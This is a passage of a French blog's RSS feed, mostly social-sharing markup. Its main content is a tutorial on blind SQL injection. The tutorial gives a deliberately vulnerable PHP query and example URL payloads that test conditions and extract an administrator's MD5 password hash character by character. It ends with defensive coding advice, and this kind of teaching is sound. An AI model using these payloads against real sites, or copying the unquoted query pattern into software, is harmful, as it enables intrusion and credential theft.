	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;annotation=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;notes=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;bodytext=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&d=http://ping.fm/ref/?link=TARGET%26title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011%26body=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&d=mailto:?subject=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;selection=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;submitHeadline=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;submitSummary=MCSC%20ou%20Moroccan%20Cyber%20Security%20Challenge%20est%20le%20premier%20%C3%A9v%C3%A9nement%20underground%20de%20Hacking%20au%20Maroc%2C%20organis%C3%A9%20par%20les%20%C3%A9l%C3%A8ves%20ing%C3%A9nieurs%20du%20club%20INSEC%2C%20un%20club%20de%20jeunes%20passionn%C3%A9s%20d%C3%A9di%C3%A9%20%C3%A0%20la%20s%C3%A9curit%C3%A9%20de%20l%27information%20et%20en%20partenariat%20avec&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/hacking-moroccan-cyber-security-challenge-mcsc-2011.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>SQL injection avancée: Blind SQL injection (partie 3)</title>
		<link>http://www.mcherifi.org/hacking/sql-injection-avancee-blind-sql-injection.html</link>
		<comments>http://www.mcherifi.org/hacking/sql-injection-avancee-blind-sql-injection.html#comments</comments>
		<pubDate>Wed, 19 May 2010 23:10:05 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[blind sql injection]]></category>
		<category><![CDATA[se proteger sql injection]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[tutorial sql injection]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=712</guid>
		<description><![CDATA[Tweet
Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d&#8217;aujourd&#8217;hui sera dédié à un vecteur d&#8217;attaque un peu particulier, si vous ne connaissez pas les principes d&#8217;une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)
Je rappelle que la [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/sql-injection-avancee-blind-sql-injection.html" data-text="SQL injection avancée: Blind SQL injection (partie 3)" data-count="horizontal">Tweet</a><p><a href="http://www.mcherifi.org/wp-content/uploads/2010/05/aveugle-5.jpg"><img src="http://www.mcherifi.org/wp-content/uploads/2010/05/aveugle-5-300x234.jpg" alt="" title="SQL Injection" width="300" height="234" class="alignleft size-medium wp-image-715" /></a>
<p>Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d&#8217;aujourd&#8217;hui sera dédié à un vecteur d&#8217;attaque un peu particulier, si vous ne connaissez pas les principes d&#8217;une <a href="http://www.mcherifi.org/tag/sql-injection">injection sql</a>, je vous invite vivement à lire <a href="http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html" title="SQL Injection">les deux premiers articles</a> avant de passer à la suite ;)</p>
<p>Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d&#8217;attaque d&#8217;une injection SQL, j&#8217;espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n&#8217;hésitez pas à me faire part de vos remarques ;)</p>
<h2>Qu&#8217;est ce que Blind SQL Injection?</h2>
<p><strong>Blind SQL Injection</strong> est un vecteur d&#8217;attaque dont l&#8217;approche est très différente de celle des injections classiques, elle permet comme ses ascendants d&#8217;injecter des données à partir d&#8217;une base d&#8217;une application vulnérable. Repérer une faille de ce type n&#8217;est pas toujours facile et demande une série de tests.</p>
<p>Les Injections blind se caractérisent par l&#8217;absence d&#8217;un message d&#8217;erreur qui permettra de repérer la faille, ce qui impose une serie de tests « à l&#8217;aveuglette » qui permettront d&#8217;identifier la présence d&#8217;une faille ou pas ! </p>
<p>Prenant un exemple :</p>
<p>On considère une application web avec une page profile.php avec le code ci-dessous :</p>
<pre class="brush: php">
//…
$user_id = stri_replace(&#039;union&#039;,&#039;&#039;,$_GET[&#039;user_id&#039;]);
$query = &quot;SELECT * FROM profile WHERE user_id = $user_id&quot; ;
if(!@mysql_query($query)){
	echo &quot;Ce membre n&#039;existe pas&quot;;
}
else{
	//Affichage des données du profil
}
</pre>
<p>Ce code semble sécurisé contre les injections classiques puisqu&#8217;il remplace le mot clé « union » qui peut permettre à un attaquant de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l&#8217;exploiter! </p>
<p><strong>Analysant cette requête :</strong></p>
<blockquote><p>profile.php?user_id=1</p></blockquote>
<p>Cet appel affichera le profile de l&#8217;utilisateur ayant l&#8217;id 1 (généralement l&#8217;administrateur du site)</p>
<p>Que se passera t&#8217;il avec : </p>
<blockquote><p>profile.php?user_id=1 AND 1=2</p></blockquote>
<p>Logiquement 1 != 2, si le script n&#8217;affiche pas le profil c&#8217;est que la condition rajoutée a été exécutée dans la requête, on peut vérifier ça on rajoutant une condition qui retourne toujours true (profile.php?user_id=1 AND 4=4), si avec cette appel le profil de l&#8217;utilisateur ayant user_id=1 s&#8217;affiche, c&#8217;est que le script est vulnérable à une injection de type &laquo;&nbsp;Blind SQL Injection&nbsp;&raquo;, alors là! La bonne nouvelle c&#8217;est que l&#8217;attaquant ne voit aucune information affichée, la mauvaise c&#8217;est qu&#8217;il peut facilement bruteforcer l&#8217;information en rajoutant des condition dans l&#8217;url et suivant l&#8217;affichage ou le non-affichage du profile, il peut donc comprendre si la condition qu&#8217;il a mise est correcte par la suite extraire les information caractère par caractère</p>
<p>Exemple permettant de vérifier que la version de mysql est 5:<br />
<blockquote>profile.php ?user_id=1 AND version() MATCH 5</p></blockquote>
<p>Voyant ce qu&#8217;un attaquant malveillant peut faire pour exploiter cette faille :</p>
<p>
<blockquote>profile.php?user_id=1 and length(password)=32</p></blockquote>
<p>cet appel illuste un test sur la longueur du champ password, généralement les passes sont cryptés en md5, si c&#8217;est le cas le profil s&#8217;affiche et ça facilite à l&#8217;attaquant la poursuite de son exploitation ! Un md5 est une chaine de caractère en hexadécimal [09-af] donc 16 possibilités pour chaque caractères, du coup les possibilités ne sont pas énormes, 16 test au maximum peuvent permettre d&#8217;injecter un caractère du champ password, ce qui donne 512 requêtes en total pour extraire le hash md5 de l&#8217;utilisateur ayant user_id = 1</p>
<p>Exemple :<br />
<blockquote>profile.php?user_id=1 AND substr(password,0,1)= 0&#215;66</p></blockquote>
<p>Pour tester si le premier caractère est un « f » (0&#215;66 correspond au code hexadécimal de la lettre f)  ainsi selon l&#8217;affichage (ou non) du profil utilisateur l&#8217;attaquant peut facilement injecter le reste, évidement sans aucun message d&#8217;erreur affiché sur son écran !</p>
<p>Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l&#8217;aveuglette on se servant d&#8217;une page vulnérable qui affiche une donnés X, selon l&#8217;affichage ou non de cette dernière on peut deviner les données se cachant derrière.</p>
<h2>Comment sécuriser son application ?</h2>
<p>Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j&#8217;ai cité dans <a href="http://www.mcherifi.org/tag/sql-injection">les deux premier tutoriaux</a> : de manière générale : Ne jamais se contenter de cacher les messages d&#8217;erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction <a href="http://www.php.net/mysql_real_escape_string">mysql_real_escape_string</a></p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&d=http://twitter.com/home?status=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&d=http://www.facebook.com/share.php?u=TARGET%26t=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;annotation=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;notes=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;bodytext=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&d=http://ping.fm/ref/?link=TARGET%26title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29%26body=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&d=mailto:?subject=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
